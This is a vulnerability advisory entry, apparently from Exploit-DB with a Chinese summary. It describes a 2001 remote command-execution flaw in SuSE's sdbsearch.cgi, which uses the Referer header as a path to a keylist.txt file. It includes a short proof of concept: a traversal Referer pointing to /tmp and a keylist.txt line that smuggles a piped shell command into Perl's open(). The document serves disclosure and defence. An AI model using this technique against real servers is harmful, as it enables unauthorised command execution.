https://www.exploit-db.com/exploits/21075
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200108-017

SuSELinux6.0-7.2版本中的Sdbsearch.cgi存在漏洞，远程攻击者通过上传包含带有shell元字符文件名的keylist.txt文件执行任意命令，然后使用HTTP提交者(来自HTTP_REFERER变量)中的..搜索该文件从而指向包含keylist.txt文件的目录。

source: http://www.securityfocus.com/bid/3208/info

An input validation error exists in sdb, the SuSE Support Data Base.

The problem exists in the sdbsearch.cgi script, which uses data directly from the 'Referer' header field from a HTTP request as a path when opening it's "keylist.txt" file. The keylist file contains a list of keywords and associated files, which are opened using Perl's open() command.

If an attacker is able to create a malicious "keylist.txt" file on a vulnerable host, it may be possible for the attacker to cause arbitrary commands to be executed by the sdbsearch.cgi script. 

Proof of concept is very simple, just create harmful keylist.txt for instance in /tmp directory and send request to http server like this:

GET /cgi-bin/sdbsearch.cgi?stichwort=keyword HTTP/1.0
Referer: http://szachy.org/../../../../../tmp

(very deep traversal because we don't know what is DOCUMENT_ROOT)

and an example content of our /tmp/keylist.txt create like this:
$ echo -e "keywordtouch exploitable|" > /tmp/keylist.txt

After successful attempt there will be "exploitable" file in /tmp directory.

来源:XF
名称:sdbsearch-cgi-command-execution(7003)
链接:http://xforce.iss.net/static/7003.php
来源:BUGTRAQ
名称:20010802suse:sdbsearch.cgivulnerability
链接:http://www.securityfocus.com/archive/1/201216
来源:SUSE
名称:SuSE-SA:2001:027
链接:http://www.novell.com/linux/security/advisories/2001_027_sdb_txt.html